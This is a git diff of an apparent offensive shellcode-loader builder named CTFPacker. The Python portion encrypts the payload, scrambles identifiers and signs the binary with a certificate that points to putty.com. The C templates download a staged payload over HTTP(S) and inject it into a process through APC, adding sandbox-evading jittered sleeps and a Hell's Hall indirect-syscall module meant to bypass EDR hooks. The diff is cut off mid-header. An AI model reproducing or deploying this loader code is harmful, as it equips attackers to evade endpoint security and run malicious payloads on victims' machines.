KERNELBASE_HASH) - if "#-DAPS_VALUE-#" in data[i]: - data[i] = data[i].replace("#-DAPS_VALUE-#", DEBUGACTIVEPROCESSSTOP_HASH) - if "#-CREATEPROCESSA_VALUE-#" in data[i]: - data[i] = data[i].replace("#-CREATEPROCESSA_VALUE-#", CREATEPROCESSA_HASH) - if "#-NTMVOS_VALUE-#" in data[i]: - data[i] = data[i].replace("#-NTMVOS_VALUE-#", NTMAPVIEWOFSECTION_HASH) - - with open(f"{dst_directory}/{filename}", "w") as file: - file.writelines(data) - - print(Colors.green("[+] Template files modified !")) - - print(Colors.light_yellow("[+] Setting APC injection target process...")) - # Handling the target APC injection. - if args.format is None or args.format == "EXE": - with open(f'{dst_directory}/main.c', 'r') as file: - main_data = file.readlines() - for i in range(len(main_data)): - if "#-TARGET_PROCESS-#" in main_data[i]: - main_data[i] = main_data[i].replace("#-TARGET_PROCESS-#", args.apc) - - # Writing the data back to the file - with open(f'{dst_directory}/main.c', 'w') as file: - file.writelines(main_data) - - if args.format == "DLL": - with open(f'{dst_directory}/main_dll.c', 'r') as file: - main_data = file.readlines() - for i in range(len(main_data)): - if "#-TARGET_PROCESS-#" in main_data[i]: - main_data[i] = main_data[i].replace("#-TARGET_PROCESS-#", args.apc) - - # Writing the data back to the file - with open(f'{dst_directory}/main_dll.c', 'w') as file: - file.writelines(main_data) - - print(Colors.green(f"[+] Target APC injection process set to {args.apc} !")) - - # Handling the case if encryption is wanted - if args.encrypt: - - print(Colors.green("[i] Encryption selected.")) - print(Colors.light_yellow("[+] Encrypting the payload...")) - - enc_payload, key, iv = Encryption.EncryptAES(raw_payload) - - # converting the payload to hex for ease - hex_payload = ', '.join(f"0x{b:02x}" for b in enc_payload) - - # We write the key and IV into main.c - for filename in os.listdir(dst_directory): - if filename.startswith("main") and filename.endswith(".c"): - with open(f"{dst_directory}/{filename}", "r") as file: - main_data = file.readlines() - - # We look for the following placeholders: "#-KEY_VALUE-#" and "#-IV_VALUE-#" and replace them with the actual values - for i in range(len(main_data)): - if "#-KEY_VALUE-#" in main_data[i]: - main_data[i] = main_data[i].replace("#-KEY_VALUE-#", key) - if "#-IV_VALUE-#" in main_data[i]: - main_data[i] = main_data[i].replace("#-IV_VALUE-#", iv) - if "#-PAYLOAD_VALUE-#" in main_data[i]: - main_data[i] = main_data[i].replace("#-PAYLOAD_VALUE-#", str(hex_payload)) - - # Writing the data back to the file - with open(f"{dst_directory}/{filename}", "w") as file: - file.writelines(main_data) - - print(Colors.green(f"[+] Payload encrypted and saved into payload[] variable in main.c !")) - - # If encryption is not wanted (for whatever reason) - if args.encrypt is False: - - print(Colors.green("[i] Encryption not selected.")) - print(Colors.light_yellow("[+] Compiling the loader...")) - - # We comment out the encryption function in the main.c file - for filename in os.listdir(dst_directory): - if filename.startswith("main") and filename.endswith(".c"): - with open(f"{dst_directory}/{filename}", "r") as file: - main_data = file.readlines() - - for i in range(len(main_data)): - if "#include \"AES_128_CBC.h\"" in main_data[i]: - main_data[i] = f"//{main_data[i]}" - if "AES_CTX" in main_data[i]: - main_data[i] = f"\t//{main_data[i]}" - if "uint8_t aes_k[16] = { #-KEY_VALUE-# };" in main_data[i]: - main_data[i] = f"//{main_data[i]}" - if "uint8_t aes_i[16] = { #-IV_VALUE-# };" in main_data[i]: - main_data[i] = f"//{main_data[i]}" - if "Starting the decryption..." in main_data[i]: - main_data[i] = f"\t//{main_data[i]}" - if "pClearText = (PBYTE)malloc(sEncPayload);" in main_data[i]: - main_data[i] = f"\t//{main_data[i]}" - if "AES_DecryptInit(&ctx, aes_k, aes_i);" in main_data[i]: - main_data[i] = f"\t//{main_data[i]}" - if "AES_DecryptBuffer(&ctx, &payload, pClearText, sEncPayload)" in main_data[i]: - main_data[i] = f"\t//{main_data[i]}" - if "Payload decrypted at postion: 0x%p with size of %zu" in main_data[i]: - main_data[i] = f"\t//{main_data[i]}" - if "if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess))" in main_data[i]: - main_data[i] = f"\tif (!APCInjection(hProcess, (PVOID) &payload, sEncPayload, &pProcess)) {{" - if "#-PAYLOAD_VALUE-#" in main_data[i]: - main_data[i] = main_data[i].replace("#-PAYLOAD_VALUE-#", payload) - - with open(f"{dst_directory}/{filename}", "w") as file: - file.writelines(main_data) - - if args.scramble: - - print(Colors.green("[i] Scrambling selected.")) - print(Colors.light_yellow("[+] Scrambling the loader...")) - - functions = ["HashStringDjb2A", "GetProcAddressH", "GetModuleHandleH", "MapNtdll", "Unhook", "AES_DecryptInit", "AES_DecryptBuffer", - "CreateSuspendedProcess", "APCInjection", "cDAPSu", "cCPAu", "aes_k", "aes_i", "AES_Decrypt", "AES_Encrypt", "AES_EncryptInit", - "NTAVM", "NTPVM", "NTWVM", "NTQAT"] - scrambled_functions = [] - - variables = ["sEncPayload", "pEncPayload", "pClearText", "ctx", "hProcess", "pProcess", "dwSizeOfClearText", "dwOldProtect", "dwProcessId", "payload"] - scrambled_variables = [] - - alphabet = list("abcdefghijklmnopqrstuvwxyz") - used_combos = set() - - # Scrambling the functions - for sign in functions + variables: - letter = random.choice(alphabet) - multiplier = random.randint(1, 128) - while (letter, multiplier) in used_combos: - letter = random.choice(alphabet) - multiplier = random.randint(1, 128) - used_combos.add((letter, multiplier)) - scrambled_sign = letter * multiplier - - if sign in functions: - scrambled_functions.append(scrambled_sign) - else: - scrambled_variables.append(scrambled_sign) - - # Modifying all .c and .h files in the temporary folder - for filename in os.listdir(dst_directory): - if filename.endswith(".c") or filename.endswith(".h") or filename.endswith(".asm"): - with open(f"{dst_directory}/{filename}", "r") as file: - data = file.readlines() - - for i in range(len(data)): - if "HashStringDjb2A" in data[i]: - data[i] = data[i].replace("HashStringDjb2A", scrambled_functions[0]) - if "GetProcAddressH" in data[i]: - data[i] = data[i].replace("GetProcAddressH", scrambled_functions[1]) - if "GetModuleHandleH" in data[i]: - data[i] = data[i].replace("GetModuleHandleH", scrambled_functions[2]) - if "MapNtdll" in data[i]: - data[i] = data[i].replace("MapNtdll", scrambled_functions[3]) - if "Unhook" in data[i]: - data[i] = data[i].replace("Unhook", scrambled_functions[4]) - if "AES_DecryptInit" in data[i]: - data[i] = data[i].replace("AES_DecryptInit", scrambled_functions[5]) - if "AES_DecryptBuffer" in data[i]: - data[i] = data[i].replace("AES_DecryptBuffer", scrambled_functions[6]) - if "CreateSuspendedProcess" in data[i]: - data[i] = data[i].replace("CreateSuspendedProcess", scrambled_functions[7]) - if "APCInjection" in data[i]: - data[i] = data[i].replace("APCInjection", scrambled_functions[8]) - if "cDAPSu" in data[i]: - data[i] = data[i].replace("cDAPSu", scrambled_functions[9]) - if "cCPAu" in data[i]: - data[i] = data[i].replace("cCPAu", scrambled_functions[10]) - if "aes_k" in data[i]: - data[i] = data[i].replace("aes_k", scrambled_functions[11]) - if "aes_i" in data[i]: - data[i] = data[i].replace("aes_i", scrambled_functions[12]) - if "AES_Decrypt" in data[i]: - data[i] = data[i].replace("AES_Decrypt", scrambled_functions[13]) - if "AES_Encrypt" in data[i]: - data[i] = data[i].replace("AES_Encrypt", scrambled_functions[14]) - if "AES_EncryptInit" in data[i]: - data[i] = data[i].replace("AES_EncryptInit", scrambled_functions[15]) - if "NTAVM" in data[i]: - data[i] = data[i].replace("NTAVM", scrambled_functions[16]) - if "NTPVM" in data[i]: - data[i] = data[i].replace("NTPVM", scrambled_functions[17]) - if "NTWVM" in data[i]: - data[i] = data[i].replace("NTWVM", scrambled_functions[18]) - if "NTQAT" in data[i]: - data[i] = data[i].replace("NTQAT", scrambled_functions[19]) - - with open(f"{dst_directory}/{filename}", "w") as file: - file.writelines(data) - - # Modifying the main.c file - for filename in os.listdir(dst_directory): - if filename.startswith("main") and filename.endswith(".c"): - with open(f"{dst_directory}/{filename}", "r") as file: - main_data = file.readlines() - - for i in range(len(main_data)): - if "sEncPayload" in main_data[i]: - main_data[i] = main_data[i].replace("sEncPayload", scrambled_variables[0]) - if "pEncPayload" in main_data[i]: - main_data[i] = main_data[i].replace("pEncPayload", scrambled_variables[1]) - if "pClearText" in main_data[i]: - main_data[i] = main_data[i].replace("pClearText", scrambled_variables[2]) - if "ctx" in main_data[i]: - main_data[i] = main_data[i].replace("ctx", scrambled_variables[3]) - if "hProcess" in main_data[i]: - main_data[i] = main_data[i].replace("hProcess", scrambled_variables[4]) - if "pProcess" in main_data[i]: - main_data[i] = main_data[i].replace("pProcess", scrambled_variables[5]) - if "dwSizeOfClearText" in main_data[i]: - main_data[i] = main_data[i].replace("dwSizeOfClearText", scrambled_variables[6]) - if "dwOldProtect" in main_data[i]: - main_data[i] = main_data[i].replace("dwOldProtect", scrambled_variables[7]) - if "dwProcessId" in main_data[i]: - main_data[i] = main_data[i].replace("dwProcessId", scrambled_variables[8]) - if "payload" in main_data[i]: - main_data[i] = main_data[i].replace("payload", scrambled_variables[9]) - - with open(f"{dst_directory}/{filename}", "w") as file: - file.writelines(main_data) - - print(Colors.green("[+] Loader scrambled !")) - - - if args.format is None or args.format == "EXE": - if args.pfx: - - print(Colors.green("[i] Signing selected.")) - print(Colors.light_yellow("[+] Signing the loader...")) - - if args.pfx is not None: - pfx_path = args.pfx - else: - print(Colors.red("[!] PFX file not found")) - sys.exit(1) - - if args.pfx_password: - pfx_password = args.pfx_password - else: - print(Colors.red("[!] PFX password not provided")) - sys.exit(1) - - input_binary = "ctfloader.exe" - signed_binary = "ctfloader_signed.exe" - - os.system(f"cd '{dst_directory}' && make clean && make FORMAT=EXE") - shutil.move(f"{dst_directory}/ctfloader.exe", f"ctfloader.exe") - - if os.path.exists("ctfloader_signed.exe"): - os.remove("ctfloader_signed.exe") - - subprocess.run([ - f"osslsigncode", - "sign", - "-pkcs12", pfx_path, - "-pass", pfx_password, - "-n", "Signed Loader", - "-i", "https://putty.com", - "-t", "http://timestamp.sectigo.com", - "-in", input_binary, - "-out", signed_binary - ], check=True) - - shutil.rmtree(dst_directory) - - print(Colors.green("[+] Loader signed !")) - - else: - - # Everything has been modified, we can now compile the loader - os.system(f"cd '{dst_directory}' && make clean && make FORMAT=EXE") - - # We move the compiled loader one directory up - shutil.move(f"{dst_directory}/ctfloader.exe", f"ctfloader.exe") - - # We delete the temporary folder - shutil.rmtree(dst_directory) - - print(Colors.green("[+] Loader compiled !")) - - print(Colors.green("[+] DONE !")) - - if args.format == "DLL": - - print(Colors.green("[i] DLL format selected.")) - - os.system(f"cd '{dst_directory}' && make clean && make FORMAT=DLL") - - # We move the compiled loader one directory up - shutil.move(f"{dst_directory}/ctfloader.dll", f"ctfloader.dll") - - # We delete the temporary folder - shutil.rmtree(dst_directory) - - print(Colors.green("[+] Loader compiled !")) - - print(Colors.green("[+] DONE !")) if __name__ == "__main__": - main() \ No newline at end of file + main() diff --git a/Linux/requirements.txt b/Linux/requirements.txt index 8879aeb..be42435 100644 --- a/Linux/requirements.txt +++ b/Linux/requirements.txt @@ -1,3 +1,4 @@ colorama==0.4.6 -pycryptodome==3.20.0 +pycryptodome +PyQt6>=6.6.0 setuptools diff --git a/Linux/setup.py b/Linux/setup.py index 52824a8..29dc494 100644 --- a/Linux/setup.py +++ b/Linux/setup.py @@ -11,21 +11,26 @@ setup( author_email='contact@mochabyte.xyz', maintainer='mochabyte0x', license='MIT', - install_requires=['colorama', - 'pycryptodome'], - py_modules=['main'], + install_requires=['colorama', + 'pycryptodome', + 'PyQt6>=6.6.0'], + py_modules=['main', 'gui_main'], include_package_data=True, packages=find_packages(), - package_data={'custom_certs':['cert1.pfx', 'cert2.pfx'], + package_data={'custom_certs':['cert1.pfx', 'cert2.pfx'], 'templates': [ - 'stageless/*', + 'stageless/*', 'staged/*' - ] + ], + 'gui': ['assets/*'], }, entry_points={ 'console_scripts': [ 'ctfpacker=main:main' ], + 'gui_scripts': [ + 'ctfpacker-gui=gui.app:run_gui' + ], }, platforms=['Linux'] ) diff --git a/Linux/templates/staged/Makefile b/Linux/templates/staged/Makefile index c8e775f..69328f4 100644 --- a/Linux/templates/staged/Makefile +++ b/Linux/templates/staged/Makefile @@ -1,5 +1,6 @@ ############################################################################### -# Makefile for Clang (MinGW) on Windows or cross-compiling from Linux +# Makefile for Clang (MinGW) cross-compiling from Linux +# Targets: Debian / Ubuntu / Kali Linux (mingw-w64 + clang + lld + nasm) # DO NOT MODIFY THIS FILE UNLESS YOU KNOW WHAT YOU ARE DOING ############################################################################### @@ -8,15 +9,29 @@ # ─────────────────────────────────────────────────────────────────────────────── .SUFFIXES: - TARGET_TRIPLE ?= x86_64-w64-mingw32 -CLANG ?= clang --target=$(TARGET_TRIPLE) -fuse-ld=lld +CLANG ?= clang --target=$(TARGET_TRIPLE) -fuse-ld=lld -# MinGW‑w64 include / lib helper paths (auto‑detect the GCC win32 subtree) -GCC_WIN32_PATH := $(shell find /usr/lib/gcc/$(TARGET_TRIPLE)/ -type d -name "*win32" | head -n 1) -INCLUDE_DIR := /usr/$(TARGET_TRIPLE)/include -INCLUDE := -I$(INCLUDE_DIR) -LIBPATH := -L$(GCC_WIN32_PATH) +# Parallel jobs — use all available cores (override with: make JOBS=N) +JOBS ?= $(shell nproc 2>/dev/null || echo 4) +MAKEFLAGS += -j$(JOBS) + +# ── Sysroot paths (standard Debian/Ubuntu/Kali layout) ─────────────────────── +MINGW_SYSROOT := /usr/$(TARGET_TRIPLE) +INCLUDE_DIR := $(MINGW_SYSROOT)/include +MINGW_LIB_DIR := $(MINGW_SYSROOT)/lib +INCLUDE := -I$(INCLUDE_DIR) + +# GCC runtime libs (libgcc.a, libmingwex.a …). +# Auto-detect the win32 subtree; fall back to MINGW_LIB_DIR if GCC is absent +# (e.g. llvm-mingw-only setups). +GCC_WIN32_PATH := $(shell find /usr/lib/gcc/$(TARGET_TRIPLE)/ -type d -name "*win32" 2>/dev/null | head -n1) +ifeq ($(GCC_WIN32_PATH),) + GCC_WIN32_PATH := $(MINGW_LIB_DIR) +endif + +# Both paths needed: GCC runtime + mingw-w64 import stubs (winhttp, ntdll …) +LIBPATH := -L$(GCC_WIN32_PATH) -L$(MINGW_LIB_DIR) # ─────────────────────────────────────────────────────────────────────────────── # 2. Build format selector (EXE is default) @@ -27,11 +42,13 @@ FORMAT ?= EXE # { EXE | DLL } # 3. Source files # ─────────────────────────────────────────────────────────────────────────────── COMMON_SRCS := \ - api_hashing.c \ + api_hashing.c \ download.c \ inject.c \ unhook.c \ - whispers.c + hellhall.c \ + sandbox.c \ + trampoline.c ifeq ($(FORMAT),DLL) MAIN_SRC := main_dll.c @@ -60,8 +77,12 @@ ASFLAGS := -f win64 # Baseline flags from the original CTFPacker Makefile: # -O0 -Wall -w -fms-extensions -fdeclspec -static # We keep them intact so behaviour matches the pre‑DLL build. -CFLAGS_BASE := -O0 -Wall -w -fms-extensions -fdeclspec -static -LDFLAGS_BASE := -Wl,--disable-auto-import -s +# Hardening flags for evasion and binary optimization +HARDENING_FLAGS := -fno-stack-protector -fno-exceptions -fno-asynchronous-unwind-tables \ + -ffunction-sections -fdata-sections -Wl,--gc-sections + +CFLAGS_BASE := -O0 -Wall -w -fms-extensions -fdeclspec -static -D_WIN32_WINNT=0x0602 $(HARDENING_FLAGS) +LDFLAGS_BASE := -Wl,--disable-auto-import -s -Wl,--no-seh -mwindows LIBS := -lwinhttp -lntdll ifeq ($(FORMAT),DLL) @@ -76,15 +97,27 @@ endif # ─────────────────────────────────────────────────────────────────────────────── # 6. Phony targets # ─────────────────────────────────────────────────────────────────────────────── -.PHONY: all exe dll clean +.PHONY: all exe dll clean check all: $(TARGET) exe: - $(MAKE) FORMAT=EXE + $(MAKE) FORMAT=EXE JOBS=$(JOBS) dll: - $(MAKE) FORMAT=DLL + $(MAKE) FORMAT=DLL JOBS=$(JOBS) + +# ── Toolchain sanity check ──────────────────────────────────────────────────── +check: + @echo "[*] Checking required tools..." + @command -v clang >/dev/null 2>&1 || { echo "[-] clang not found"; exit 1; } + @command -v lld >/dev/null 2>&1 || { echo "[-] lld not found"; exit 1; } + @command -v nasm >/dev/null 2>&1 || { echo "[-] nasm not found"; exit 1; } + @command -v make >/dev/null 2>&1 || { echo "[-] make not found"; exit 1; } + @test -d "$(INCLUDE_DIR)" || { echo "[-] MinGW includes missing: $(INCLUDE_DIR)"; exit 1; } + @test -d "$(MINGW_LIB_DIR)" || { echo "[-] MinGW libs missing: $(MINGW_LIB_DIR)"; exit 1; } + @test -f "$(MINGW_LIB_DIR)/libwinhttp.a" || { echo "[-] libwinhttp.a not found in $(MINGW_LIB_DIR) — install mingw-w64"; exit 1; } + @echo "[+] All tools OK (jobs=$(JOBS))" # ─────────────────────────────────────────────────────────────────────────────── # 7. Linking & compilation rules diff --git a/Linux/templates/staged/download.c b/Linux/templates/staged/download.c index 6854a16..d92fe3f 100644 --- a/Linux/templates/staged/download.c +++ b/Linux/templates/staged/download.c @@ -14,6 +14,8 @@ #define IP L"#-IP_VALUE-#" // Changable #define PORT #-PORT_VALUE-# // Changable #define PATH L"#-PATH_VALUE-#" // Changable +#define USE_HTTPS #-USE_HTTPS-# // 1 for HTTPS, 0 for HTTP +#define USER_AGENT L"#-USER_AGENT-#" BOOL GetContent(OUT PBYTE* pPayload,OUT SIZE_T* sSizeOfPayload) { @@ -30,7 +32,7 @@ BOOL GetContent(OUT PBYTE* pPayload,OUT SIZE_T* sSizeOfPayload) { // First opening an internet session hSession = WinHttpOpen( - L"Mozilla/5.0 (Windows; U; Windows NT 10.3;; en-US) AppleWebKit/536.34 (KHTML, like Gecko) Chrome/47.0.3601.371 Safari/536", + USER_AGENT, WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, @@ -54,8 +56,12 @@ BOOL GetContent(OUT PBYTE* pPayload,OUT SIZE_T* sSizeOfPayload) { goto _CleanUp; } - // Creating the HTTP request - hRequest = WinHttpOpenRequest(hConnect, NULL, path, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_ESCAPE_DISABLE); + // Creating the HTTP/HTTPS request + DWORD dwFlags = WINHTTP_FLAG_ESCAPE_DISABLE; + if (USE_HTTPS) { + dwFlags |= WINHTTP_FLAG_SECURE; + } + hRequest = WinHttpOpenRequest(hConnect, NULL, path, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, dwFlags); // Checking again if (hRequest == NULL) { diff --git a/Linux/templates/staged/functions.h b/Linux/templates/staged/functions.h index 61ad5a0..55fbcbd 100644 --- a/Linux/templates/staged/functions.h +++ b/Linux/templates/staged/functions.h @@ -1,14 +1,20 @@ #pragma once #include +#include // API Hashing Part #define HASHA(API) (HashStringDjb2A((PCHAR) API)) #define INITIAL_HASH #-INITIAL_HASH_VALUE-# #define INITIAL_SEED #-INITIAL_SEED_VALUE-# +// Jittered sleep. uses WaitForSingleObject so sandbox time-acceleration +#define JITTER_SLEEP(ms) \ + WaitForSingleObject(GetCurrentProcess(), (DWORD)((ms) + (rand() % ((ms) / 2 + 1)))) + BOOL GetContent(OUT PBYTE* pPayload, OUT SIZE_T* sSizeOfPayload); BOOL CreateSuspendedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread); BOOL APCInjection(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress); +BOOL CallbackInjection(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress); HMODULE GetModuleHandleH(DWORD dwModuleNameHash); FARPROC GetProcAddressH(HMODULE moduleHandle, DWORD hash); diff --git a/Linux/templates/staged/hellhall.c b/Linux/templates/staged/hellhall.c new file mode 100644 index 0000000..ad250aa --- /dev/null +++ b/Linux/templates/staged/hellhall.c @@ -0,0 +1,234 @@ +/* + * hellhall.c + * + * Hell's Hall indirect syscall implementation. + * Adapted from Hell's Hall (MalDevAcademy), ported to Clang/x64/NASM. + * + * Replaces SysWhispers3. inject.c is unchanged — NTAVM/NTPVM/NTWVM/NTQAT + * are exported with identical signatures. + * + * How it works: + * 1. Walk the PEB InMemoryOrderModuleList to find ntdll base. + * 2. Enumerate the export directory; for each export, CRC32b-hash the name. + * 3. Once matched, scan the stub body for "MOV R10,RCX; MOV EAX," + * to extract the syscall number (works even on hooked stubs). + * 4. Find the nearest "syscall" (0F 05) instruction within the stub. + * 5. SetConfig(SSN, &syscall_instr) stores both in .data globals. + * 6. HellHall_Nt*() does: MOV R10,RCX ; MOV EAX,[SSN] ; JMP [syscall_instr] + * — execution resurfaces inside ntdll, making call stacks look legitimate. + */ + +#include +#include "hellhall.h" +#include "structs.h" + +/* -------------------------------------------------------------------------- */ +/* Internal ntdll export-table context (populated once) */ +/* -------------------------------------------------------------------------- */ +typedef struct _HH_NTDLL { + PBYTE pBase; + PIMAGE_DOS_HEADER pDos; + PIMAGE_NT_HEADERS pNt; + PIMAGE_EXPORT_DIRECTORY pExp; + PDWORD pdwFunctions; + PDWORD pdwNames; + PWORD pwOrdinals; +} HH_NTDLL; + +static HH_NTDLL gNtdll = { 0 }; + +/* Per-syscall cache — resolved once; avoids repeated export-table scans */ +typedef struct _HH_CACHE { + SysFunc NtAllocateVirtualMemory; + SysFunc NtProtectVirtualMemory; + SysFunc NtWriteVirtualMemory; + SysFunc NtQueueApcThread; +} HH_CACHE; + +static HH_CACHE gCache = { 0 }; +static BOOL gReady = FALSE; + +/* -------------------------------------------------------------------------- */ +/* CRC32b */ +/* -------------------------------------------------------------------------- */ +hh_u32 HH_Crc32b(const hh_u8 *str) +{ + hh_u32 crc = 0xFFFFFFFFu; + int i = 0; + while (str[i]) { + hh_u32 byte = (hh_u32)str[i]; + crc ^= byte; + for (int j = 7; j >= 0; j--) { + hh_u32 mask = (hh_u32)(-(int)(crc & 1u)); + crc = (crc >> 1) ^ (HH_SEED & mask); + } + i++; + } + return ~crc; +} + +/* -------------------------------------------------------------------------- */ +/* Populate ntdll export-table pointers (once) */ +/* -------------------------------------------------------------------------- */ +BOOL HH_InitNtdll(VOID) +{ + if (gNtdll.pBase) return TRUE; + + /* Walk PEB -> LDR InMemoryOrderModuleList: + * [1] = the process image itself + * [2] = ntdll.dll (always second in InMemoryOrder) + * + * Flink of InMemoryOrderModuleList -> InMemoryOrderLinks of entry[1] + * .Flink -> InMemoryOrderLinks of entry[2] (ntdll) + * - 0x10 -> base of LDR_DATA_TABLE_ENTRY (InMemoryOrderLinks is at +0x10) + * ->DllBase -> ntdll image base + */ + PPEB pPeb = (PPEB)__readgsqword(0x60); + if (!pPeb) return FALSE; + + PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)( + (PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10); + if (!pDte) return FALSE; + + gNtdll.pBase = (PBYTE)pDte->DllBase; + if (!gNtdll.pBase) return FALSE; + + gNtdll.pDos = (PIMAGE_DOS_HEADER)gNtdll.pBase; + if (gNtdll.pDos->e_magic != IMAGE_DOS_SIGNATURE) return FALSE; + + gNtdll.pNt = (PIMAGE_NT_HEADERS)(gNtdll.pBase + gNtdll.pDos->e_lfanew); + if (gNtdll.pNt->Signature != IMAGE_NT_SIGNATURE) return FALSE; + + gNtdll.pExp = (PIMAGE_EXPORT_DIRECTORY)(gNtdll.pBase + + gNtdll.pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + if (!gNtdll.pExp || !gNtdll.pExp->Base) return FALSE; + + gNtdll.pdwFunctions = (PDWORD)(gNtdll.pBase + gNtdll.pExp->AddressOfFunctions); + gNtdll.pdwNames = (PDWORD)(gNtdll.pBase + gNtdll.pExp->AddressOfNames); + gNtdll.pwOrdinals = (PWORD) (gNtdll.pBase + gNtdll.pExp->AddressOfNameOrdinals); + + return TRUE; +} + +/* -------------------------------------------------------------------------- */ +/* Resolve SSN + indirect syscall address for one NT function */ +/* -------------------------------------------------------------------------- */ +BOOL HH_InitSysFunc(IN hh_u32 uHash, OUT PSysFunc psF) +{ + if (!uHash || !psF) return FALSE; + if (!gNtdll.pBase && !HH_InitNtdll()) return FALSE; + + RtlSecureZeroMemory(psF, sizeof(SysFunc)); + + for (DWORD i = 0; i < gNtdll.pExp->NumberOfNames; i++) { + CHAR *name = (CHAR *)(gNtdll.pBase + gNtdll.pdwNames[i]); + + if (HH_Crc32b((hh_u8 *)name) != uHash) + continue; + + psF->uHash = uHash; + psF->pAddress = (PBYTE)(gNtdll.pBase + + gNtdll.pdwFunctions[gNtdll.pwOrdinals[i]]); + + /* Scan stub body for: + * 4C 8B D1 mov r10, rcx + * B8 lo hi 00 00 mov eax, + * + * Works even when the first few bytes are hooked/patched, because + * EDR hooks typically only overwrite the first 5-10 bytes (the jmp). + */ + for (DWORD j = 0; j < 0x50; j++) { + /* Hit a ret before finding the pattern — stub is trampolined oddly */ + if (*((PBYTE)psF->pAddress + j) == 0xC3) + return FALSE; + + if (*((PBYTE)psF->pAddress + j + 0) == 0x4C && + *((PBYTE)psF->pAddress + j + 1) == 0x8B && + *((PBYTE)psF->pAddress + j + 2) == 0xD1 && + *((PBYTE)psF->pAddress + j + 3) == 0xB8) + { + BYTE lo = *((PBYTE)psF->pAddress + j + 4); + BYTE hi = *((PBYTE)psF->pAddress + j + 5); + psF->wSSN = (WORD)((hi << 8) | lo); + + /* Find the nearest 'syscall' (0F 05) instruction */ + for (DWORD z = 0, x = 1; z <= HH_RANGE; z++, x++) { + if (*((PBYTE)psF->pAddress + j + z) == 0x0F && + *((PBYTE)psF->pAddress + j + x) == 0x05) + { + psF->pInst = (PVOID)((PBYTE)psF->pAddress + j + z); + break; + } + } + + return (psF->wSSN != 0 && psF->pInst != NULL) ? TRUE : FALSE; + } + } + } + + return FALSE; +} + +/* -------------------------------------------------------------------------- */ +/* One-time init — resolve all 4 syscalls and cache */ +/* -------------------------------------------------------------------------- */ +BOOL HH_Initialize(VOID) +{ + if (gReady) return TRUE; + + RtlSecureZeroMemory(&gCache, sizeof(HH_CACHE)); + + if (!HH_InitSysFunc(HH_HASH_NtAllocateVirtualMemory, &gCache.NtAllocateVirtualMemory)) return FALSE; + if (!HH_InitSysFunc(HH_HASH_NtProtectVirtualMemory, &gCache.NtProtectVirtualMemory)) return FALSE; + if (!HH_InitSysFunc(HH_HASH_NtWriteVirtualMemory, &gCache.NtWriteVirtualMemory)) return FALSE; + if (!HH_InitSysFunc(HH_HASH_NtQueueApcThread, &gCache.NtQueueApcThread)) return FALSE; + + gReady = TRUE; + return TRUE; +} + +/* -------------------------------------------------------------------------- */ +/* Public wrappers — drop-in replacements for the old SysWhispers3 stubs */ +/* -------------------------------------------------------------------------- */ + +NTSTATUS NTAVM( + IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, + IN ULONG ZeroBits, IN OUT PSIZE_T RegionSize, + IN ULONG AllocationType, IN ULONG Protect) +{ + if (!HH_Initialize()) return (NTSTATUS)0xC0000001L; + SYSCALL(gCache.NtAllocateVirtualMemory); + return HellHall_NtAVM(ProcessHandle, BaseAddress, + ZeroBits, RegionSize, AllocationType, Protect); +} + +NTSTATUS NTPVM( + IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, IN ULONG NewProtect, OUT PULONG OldProtect) +{ + if (!HH_Initialize()) return (NTSTATUS)0xC0000001L; + SYSCALL(gCache.NtProtectVirtualMemory); + return HellHall_NtPVM(ProcessHandle, BaseAddress, + RegionSize, NewProtect, OldProtect); +} + +NTSTATUS NTWVM( + IN HANDLE ProcessHandle, IN PVOID BaseAddress, + IN PVOID Buffer, IN SIZE_T NumberOfBytesToWrite, + OUT PSIZE_T NumberOfBytesWritten) +{ + if (!HH_Initialize()) return (NTSTATUS)0xC0000001L; + SYSCALL(gCache.NtWriteVirtualMemory); + return HellHall_NtWVM(ProcessHandle, BaseAddress, + Buffer, NumberOfBytesToWrite, NumberOfBytesWritten); +} + +NTSTATUS NTQAT( + IN HANDLE ThreadHandle, IN PKNORMAL_ROUTINE ApcRoutine, + IN PVOID ApcArgument1, IN PVOID ApcArgument2, IN PVOID ApcArgument3) +{ + if (!HH_Initialize()) return (NTSTATUS)0xC0000001L; + SYSCALL(gCache.NtQueueApcThread); + return HellHall_NtQAT(ThreadHandle, ApcRoutine, + ApcArgument1, ApcArgument2, ApcArgument3); +} diff --git a/Linux/templates/staged/hellhall.h b/Linux/templates/staged/hellhall.h new file mode 100644 index 0000000..5cd4905 --- /dev/null +++ b/Linux/templates/staged/hellhall.h @@ -0,0 +1,116 @@ +/* + * hellhall.h + * + * Hell's Hall: indirect syscalls via SSN discovery + ntdll syscall-instruction + * trampoline. Adapted from Hell's Hall (MalDevAcademy). + * + * Drop-in replacement for SysWhispers3. + * Exports NTAVM / NTPVM / NTWVM / NTQAT with the same signatures. + */ +#pragma once + +#include + +/* -------------------------------------------------------------------------- */ +/* Primitive types used internally */ +/* -------------------------------------------------------------------------- */ +typedef unsigned char hh_u8; +typedef unsigned int hh_u32; + +/* -------------------------------------------------------------------------- */ +/* CRC32b hash (Castagnoli, SEED = 0xEDB88320) */ +/* -------------------------------------------------------------------------- */ +#define HH_SEED 0xEDB88320u +#define HH_RANGE 0x1E /* max bytes to search forward for syscall */ + +hh_u32 HH_Crc32b(const hh_u8 *str); +#define HASH(s) HH_Crc32b((const hh_u8 *)(s)) + +/* Precomputed CRC32b hashes — verified: HASH("NtXxx") == constant below */ +#define HH_HASH_NtAllocateVirtualMemory 0xE0762FEBu +#define HH_HASH_NtProtectVirtualMemory 0x5C2D1A97u +#define HH_HASH_NtWriteVirtualMemory 0xE4879939u +#define 